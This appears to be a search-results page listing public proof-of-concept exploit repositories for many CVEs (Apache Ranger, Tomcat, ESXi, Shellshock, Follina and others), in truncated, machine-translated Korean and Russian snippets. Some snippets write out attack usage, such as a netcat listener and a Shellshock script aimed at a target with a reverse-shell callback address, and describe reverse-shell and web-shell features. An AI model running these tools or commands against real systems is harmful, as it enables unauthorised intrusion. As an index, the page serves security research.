40949 matches found
CVE-2026-28672
CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS 명령 주입 Apache Ranger의 user-syncunixusersync 모듈에 존재하는 OS 명령 주입에 대한 실행 가능한 개념 증명PoC 재현 코드입니다. 동기화되는 각 사용자의 그룹을 열거하는 동안 UnixUserGroupBuilder는 셸을 통해 id 명령을 실행하며, 명령줄에 username 을 연결합니다: //...
CVE-2017-12615
CVE-2017-12615 Tomcat удаленное выполнение кода Exploit java -jar CVE-2017-12615-Exploit.jar Url ShellName ShellValue www.SecFree.com · · · 一┳═┻︻▄ Tomcat RCE CVE-2017-12615 ▄︻┻═┳一 · · · Влияние: Apache Tomcat 7.0.0 - 7.0.79 Информация об 0day: https://www.secfree.com/article-399.html Помощь: Url...
Vmware-ESXI
CVE-2024-37085 도메인에 가입된 ESXi 하이퍼바이저에서 인증 없이 셸 업로드로 전체 관리자 권한 획득 ESXIVORTEX 다운로드 상세: 인증 우회를 통해 vpxuser 컨텍스트에서 셸 업로드가 가능하며, 도메인에 가입된 ESXi 하이퍼바이저에서 전체 관리자 권한을 얻을 수 있습니다. 이 취약점을 악용하려면 ESXi 셸이 활성화되어 있어야 합니다. 익스플로잇: 이 취약점을 악용하려면 몇 가지 단계를 수행해야 합니다. 전체 관리자 제어를 달성하기 위해 모든 단계는 단일 파이썬 스크립트로 처리됩니다. 이 취약점을...
CVE-2025-69212-Exploit
CVE-2025-69212 - OpenSTAManager P7M 명령 주입 익스플로잇 CVE-2025-69212 용 완전 자동화 익스플로잇 스크립트로, OpenSTAManager의 명령 주입 취약점입니다. 이 스크립트는 관리자 자격 증명으로 인증한 후, ZIP 아카이브에 포함된 조작된 P7M 파일을 통해 악성 PHP 웹 셸을 배포하고, 명령 실행 또는 리버스 셸을 제공합니다. 기능 자동 인증. 악성 ZIP 생성 및 업로드 invoice.p7m 주입. 특수 문자 문제 방지를 위한 Base64 명령 래핑. 리버스 셸 및 단일 명령...
CVE-2022-22965
CVE-2022-22965 Poc&Exp, поддержка массового сканирования Использование -a string адрес для обратного подключения -b показывать баннер true по умолчанию -c string команда default "ls" -p int порт для обратного подключения -poc выполнять только poc-сканирование, по умолчанию только poc true -r...
CVE-2021-22204
CVE-2021-22204 CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행에 사용할 수 있는 JPEG 이미지 페이로드를 생성하십시오. 사용자 지정 명령을 제공하거나 리버스 셸을 생성할 수 있습니다. JPEG 이미지가 자동으로 생성되며, 선택적으로 사용자 지정 JPEG 이미지를 제공하여 페이로드를 삽입할 수 있습니다...
CVE-2022-33891
CVE-2022-33891 - Apache Spark 명령 주입 취약점 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 익스플로잇 작성자 원본 PoC 작성자 AkbarTrilaksana께 깊은 감사를 드립니다. 설명 Apache Spark UI는 구성 옵션 spark.acls.enable을 통해 ACL을 활성화할 수 있는 기능을 제공합니다. 인증 필터와 함께 사용하면 사용자가 애플리케이션을 보거나 수정할 수 있는 접근 권한이 있는지 확인합니다. ACL이 활성화된 경우 HttpSecurityFilter의 코드 경로를 통...
CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE
🚨 CVE‑2025‑53770 – Вариант уязвимости нулевого дня SharePoint, используемый для полного удаленного выполнения кода Критическая эскалация от CVE‑2025‑49706 Автор: Aditya Bhatt – Red Team | VAPT 📌 TL;DR CVE‑2025‑53770 — это критическая CVSS 9.8 уязвимость удаленного выполнения кода без аутентификац...
gitlab-RCE-11.4.7
gitlab-RCE-11.4.7 Эксплойт для RCE в GitLab 11.4.7 CE с различными reverse shell. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 Модификация версии от Sam Redmond и Tam Lai Yin для обучения и практики. Как использова...
CVE-2024-4358
CVE-2024-4358 Инструмент для обнаружения и массовой эксплуатации уязвимости CVE-2024-4358 Установка: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help Использование: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / /...
test-task-CVE-2024-25600
test-task-CVE-2024-25600 인턴십 테스트 작업을 위한 저장소입니다. 0단계: 이 git 저장소를 클론하세요 git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 1단계: Docker 컨테이너 생성 Docker 데몬 시작 sudo systemctl start docker.service Docker 컨테이너 시작 Docker 컨테이너를 시작하려면 wpcontainer 디렉토리로 이동하세요. cd path/to/wpcontainer Docke...
cve-2010-4221
cve-2010-4221 이 익스플로잇은 몇 가지 개념을 연구하기 위해 작성되었습니다. 즐기세요! 사용법 Proftpd Telnet IAC 원격 제네릭 익스플로잇 작성자: F0rb1dd3n 사용법: ./proftpd-exploit 공격 유형: 0 - 소켓 재사용Socket Reuse 1 - 리버스 셸Reverse Shell 2 - 바인드 셸Bind Shell 3 - 직접 작성한 셸코드raw 형식 대상 IP, 포트, 선택한 공격 유형만 입력하면 됩니다. 프로그램이 로컬호스트, 로컬 포트 또는 원격 바인드 포트와 같은 추가 정보를...
CVE-2019-11223
CVE-2019-11223 Wordpress 플러그인 SupportCandy 버전 2.0 이하에서의 임의 파일 업로드 취약점 https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...
CVE-2014-6271
CVE-2014-6271 python2.7 자신의 머신에서 리슨을 시작하세요. nc -l -p 4444 아래 규칙에 따라 python 스크립트를 실행하세요: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 즐기세요...
CVE-2019-11580
CVE-2019-11580 CVE-2019-11580 취약점을 원격으로 악용하기 위한 셸입니다...
Confluence-RCE
Использование: python3 mian.py Обнаружение Выполнение команд Обратная оболочка Reverse Shell Поддержка прокси socks5 и http Только для общения и обучения...
CVE-2022-36804-PoC
CVE-2022-36804-PoC 대부분의 BitBucket 버전 ://: -e check,rce,ssrf,download,revshell, --exploit check,rce,ssrf,download,revshell Exploit to perf...
CVE-2022-36553-PoC
CVE-2022-36553 - Hytec Inter HWL-2511-SS Неаутентифицированное удаленное выполнение команд. Обзор Этот репозиторий содержит PoC Proof of Concept скрипт обратной оболочки для эксплуатации CVE-2022-36553, критической уязвимости в устройствах Hytec Inter HWL-2511-SS. Скрипт является практической...
Follina
Follina ИСПРАВЛЕНО Удалённая оболочка для Windows на основе cve-2022-30190 ⚠️ Создано только в образовательных целях 📚 Установка и использование 🛠️ $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...